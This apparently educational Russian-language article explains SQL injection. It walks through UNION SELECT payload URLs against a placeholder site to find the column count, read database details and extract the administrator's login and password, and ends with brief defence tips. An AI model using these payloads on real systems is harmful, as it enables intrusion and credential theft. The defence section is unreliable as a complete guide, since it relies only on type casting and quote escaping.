создать свой сайт на PHP, HTML, CSS
21.05.2012

Мы рекомендуем


RSS

rss новости   rss статьи

SQL инъекция. Меры атаки и защиты.


Статья написана для новичков у которых еще не сформировались свои наработки и привычки использования SQL инъекций. В данной статье не планируется приводить конкретных примеров по взлому конкретных сайтов, т.к. информация представленная здесь является общей и сборной. Целью статьи является донести до разработчиков сайтов возможности SQL инъекции и  важность защиты от нее.

Обнаружение инъекции

Для обнаружения инъекции чаще всего пользуются манипулированием с числовыми параметрами в GET запросах, например:

http://site/site.php?group=articles&id=102

Здесь параметр id – числовой и равен 102
После выполнения этого запроса мы увидим страничку с заголовком секции «UN Session in Georgian Parliament». Проверим этот параметр на уязвимость, но вначале попробуем вот такой запрос:

http://site/site.php?group=articles&id=101

Заголовок секции теперь «'The Messenger'-World Refugee Day». Возвращаемся на предыдущую секцию (id=102) с заголовком «UN Session in Georgian Parliament». И вот тут уже проверяем на уязвимость, введем в параметре id не просто значение, а выражение 102-1, запрос в таком случае примет вид:

http://site/site.php?group=articles&id=102-1

В результате этого запроса мы попали на секцию «'The Messenger'-World Refugee Day», id которой равен 101. Что произошло? А произошло выполнение арифметического выражения 102-1=101, т.е. скрипт artdetail.php не отфильтровал выражение в значении параметра id, а выполнил его. Это и есть SQL инъекция.


Вставляем свое выражение и узнаем количество полей

Если у нас выполнилось выражение 102-1, значит мы можем вставить и другое выражение, которое будет нам гораздо полезнее, а нужно нам получить определенные сведения из базы данных. Для этого в SQL используется конструкция Select и «оператор» (извините, не знаю как еще обозвать) объединения запросов Union, а точнее Union select – это и есть конструкция объединения запросов. Еще в нашем выражении я буду использовать знак комментария /* (для MSSQL это двойное тире --, а комментарий /* надо обязательно закрывать */ ), все что идет после комментария скриптом соответственно не выполняется. А нужно это, потому что внутри скрипта на основании полученных данных формируется запрос к базе данных например:

Select * from news where sec_id=id and page=2

В данном запросе «and page=2» как минимум не нужен, а как максимум после внедренного мною в запрос выражения, приведет к неправильному отображению данных, а скорее всего к ошибке. И если поставить после id=102 знак комментария запрос сформированный скриптом будет таким:

Select * from news where sec_id=102 /* and page=2

Т.е. «and page=2» скрипт, а точнее уже SQL примет за комментарий и проигнорирует.

Теперь перейдем к Union Select. В третьих версиях MySQL эта конструкция вообще отсутствовала, но сейчас в основном распространены версии 4 и выше. Также некоторые отключают в настройках возможность использования такой конструкции, но это редкость. Важно знать, что после Union Select нужно выбирать (прописать) такое же количество полей как и в первом запросе Select, иначе нам возвратится ошибка MySQL. Т.е. нам нужно узнать количество полей. Как это сделать? Есть два или более способов.

Способ 1

после нашего запроса вводим конструкцию Union Select и банально перебираем количество полей:

http://site/site.php?group=articles&id=102 union select 1/*

Такой запрос скорее всего выдаст ошибку или просто не отобразит данные, т.к. количество полей больше чем одно. Пробуем добавить в запрос еще поле:

http://site/site.php?group=articles&id=102 union select 1,2/*

Здесь тоже будет ошибка по тем же причинам. Так  каждый раз добавляем еще поле, пока данные не отобразятся корректно:

http://site/site.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9/*


Способ 2.

Узнаем количество полей до того, как используем конструкцию Union Select c с помощью оператора ORDER BY, который формирует порядок сортировки полей по номеру (и не только), поля, т.е если выражение:

http://site/site.php?group=articles&id=102 order by 5/*

не выдаст ошибку - это значит что в запросе используется как минимум 5 полей. Далее увеличиваем число после order by пока не получим ошибку.


Получаем определенную информацию.

Т.к. мы знаем что у нас 9 полей. Можно составить работающее выражение:

http://site/site.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9/*

Цифры в таком выражении нам нужны для того, чтобы узнать значение какого поля отображается на странице, но иногда после выполнения запроса ни какое из перечисленных полей у не отображается, это произошло из-за того, что секция имеет свой определенный контент, а для того что бы увидеть нужную нам информацию надо выполнять запрос в секции, которая не имеет контента, т.е. в несуществующей секции. Резонно предположить, что такой секцией может быть секция -1. Но у нас отобразились цифры 3 и 5 это и есть номера полей с помощью которых будем получать интересующие нас данные. Теперь можно узнать версию MySQL, вводим вместо цифры 3 в запросе функцию version():

http://site/site.php?group=articles&id=102 union select 1,2,version(),4,5,6,7,8,9/*

Смотрим, у нас теперь вместо 3 отобразилось 5.0.22 – это и есть версия MySQL, дальше получаем имя пользователя и сервер MySQL, для этого используем  функцию user():

http://site/site.php?group=articles&id=102 union select 01,2,user(),4,5,6,7,8,9/*

Результат: root@localhost, ну и наконец имя базы данных database()

http://site/site.php?group=articles&id=102 union select 1,2,database(),4,5,6,7,8,9/*

Результат: rootbase


Узнаем интересующие нас данные

Итак, у нас есть запрос:

http://site/site.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9/*

Теперь попробуем узнать имя таблицы пользователей, делается это вставкой выражения from после нашего запроса а далее банальным перебором возможных вариантов. Если таблицы с предполагаемым именем не существует, мы получим ошибку, например:

http://site/site.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9 from blahblah/*

Скорее всего нужная нам таблица имеет имя user

http://site/site.php?group=articles&id=102 union select 1,2,3,4,5,6,7,8,9 from user/*

Этот запрос нам показал только то, что существует таблица user т.к. не привел к ошибке, но чтобы получить нужные данные нам теперь надо, так же, банальным перебором узнать имена полей. А для того чтобы данные отобразились, имена полей при переборе следует вставлять в 3 и 5 поле, т.к. они у нас непосредственно выводятся на экран, причем при несуществующих именах опять же будет выдаваться ошибка:

http://site/site.php?group=articles&id=102 union select 1,2,blahblah,4,5,6,7,8,9 from user/*

зато при правильном имени поля мы увидим первое значение этого поля из таблицы а это обычно запись администратора, так и есть возьмем имя поля name

http://site/site.php?group=articles&id=102 union select 1,2,name,4,5,6,7,8,9 from user/*

Да так и есть первая запись у нас admin, а теперь попробуем имя поля passwd:

http://site/site.php?group=articles&id=102 union select 1,2,passwd,4,5,6,7,8,9 from user/*

результат: webadmin.

теперь у нас есть логин и пароль администратора, это нам было и нужно и если мы сейчас зайдем на страничку:

http://site/login.php

мы можем ввести полученные данные. Все!!! Цель достигнута.

Защищаемся от инъекции

Из вышеперечисленного видно, что единственный способ избавиться от проведения SQL инъекции на вашем сайте - контролировать все параметры на допустимость. Если параметр id может быть только числом то надо проверить его например с помощью intval().  При обработке форм или других строковых параметров необходимо контролировать и удалять html теги и символы "апостроф", экранировать кавычки. Эти простые правила позволят вам недопустить злоумышленника в святая-святых вашего сайта - панели управления.

ВНИМАНИЕ! Администрация сайта не несет ответственности за незаконное использование материалов, представленных в данной статье! Вся информация приведена только для ознакомления.